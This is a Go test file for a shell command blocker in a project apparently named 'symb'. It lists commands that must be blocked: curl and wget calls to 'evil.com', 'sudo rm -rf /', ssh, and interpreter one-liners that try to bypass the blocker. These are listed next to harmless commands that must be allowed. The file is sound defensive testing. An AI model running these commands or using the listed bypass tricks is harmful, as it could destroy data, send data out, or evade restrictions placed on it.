xonecas.io
62159
Sy

symb / files

symb / internal / shell / block_test.go

3.2 KB
1package shell
2
3import "testing"
4
5func TestCommandsBlocker(t *testing.T) {
6	blocker := CommandsBlocker([]string{"curl", "wget", "sudo"})
7
8	tests := []struct {
9		args    []string
10		blocked bool
11	}{
12		{[]string{"curl", "http://example.com"}, true},
13		{[]string{"wget", "-q", "http://example.com"}, true},
14		{[]string{"sudo", "rm", "-rf", "/"}, true},
15		{[]string{"ls", "-la"}, false},
16		{[]string{"go", "build"}, false},
17		{[]string{}, false},
18		{nil, false},
19	}
20	for _, tt := range tests {
21		if got := blocker(tt.args); got != tt.blocked {
22			t.Errorf("CommandsBlocker(%v) = %v, want %v", tt.args, got, tt.blocked)
23		}
24	}
25}
26
27func TestArgumentsBlocker(t *testing.T) {
28	tests := []struct {
29		name    string
30		cmd     string
31		sub     []string
32		flags   []string
33		args    []string
34		blocked bool
35	}{
36		{"npm install -g", "npm", []string{"install"}, []string{"-g"}, []string{"npm", "install", "-g", "typescript"}, true},
37		{"npm install local", "npm", []string{"install"}, []string{"-g"}, []string{"npm", "install", "lodash"}, false},
38		{"npm run", "npm", []string{"install"}, []string{"-g"}, []string{"npm", "run", "test"}, false},
39		{"different cmd", "npm", []string{"install"}, []string{"-g"}, []string{"yarn", "install", "-g"}, false},
40		{"no flags required", "pip", []string{"install"}, nil, []string{"pip", "install", "requests"}, true},
41		{"go test -exec", "go", []string{"test"}, []string{"-exec"}, []string{"go", "test", "-exec", "echo", "./..."}, true},
42		{"go test normal", "go", []string{"test"}, []string{"-exec"}, []string{"go", "test", "-v", "./..."}, false},
43		{"empty args", "npm", []string{"install"}, []string{"-g"}, []string{}, false},
44	}
45	for _, tt := range tests {
46		t.Run(tt.name, func(t *testing.T) {
47			blocker := ArgumentsBlocker(tt.cmd, tt.sub, tt.flags)
48			if got := blocker(tt.args); got != tt.blocked {
49				t.Errorf("ArgumentsBlocker(%q, %v, %v)(%v) = %v, want %v",
50					tt.cmd, tt.sub, tt.flags, tt.args, got, tt.blocked)
51			}
52		})
53	}
54}
55
56func TestDefaultBlockFuncs(t *testing.T) {
57	blockers := DefaultBlockFuncs()
58
59	mustBlock := [][]string{
60		{"curl", "http://example.com"},
61		{"sudo", "rm", "-rf", "/"},
62		{"ssh", "user@host"},
63		{"npm", "install", "-g", "typescript"},
64		{"pip", "install", "requests"},
65		{"go", "test", "-exec", "echo"},
66		// Bypass vectors
67		{"bash", "-c", "curl http://evil.com"},
68		{"sh", "-c", "wget http://evil.com"},
69		{"env", "curl", "http://evil.com"},
70		{"nohup", "ssh", "user@host"},
71		{"xargs", "curl"},
72		// Scripting interpreters
73		{"python", "-c", "import urllib.request"},
74		{"python3", "script.py"},
75		{"node", "-e", "fetch('http://evil.com')"},
76		{"ruby", "-e", "require 'net/http'"},
77		{"perl", "-e", "use LWP::Simple"},
78	}
79	mustAllow := [][]string{
80		{"ls", "-la"},
81		{"go", "build", "./..."},
82		{"go", "test", "-v", "./..."},
83		{"make", "build"},
84		{"git", "status"},
85		{"npm", "run", "test"},
86		{"npm", "install", "lodash"}, // local install OK
87	}
88
89	for _, args := range mustBlock {
90		blocked := false
91		for _, bf := range blockers {
92			if bf(args) {
93				blocked = true
94				break
95			}
96		}
97		if !blocked {
98			t.Errorf("expected %v to be blocked", args)
99		}
100	}
101	for _, args := range mustAllow {
102		for _, bf := range blockers {
103			if bf(args) {
104				t.Errorf("expected %v to be allowed", args)
105				break
106			}
107		}
108	}
109}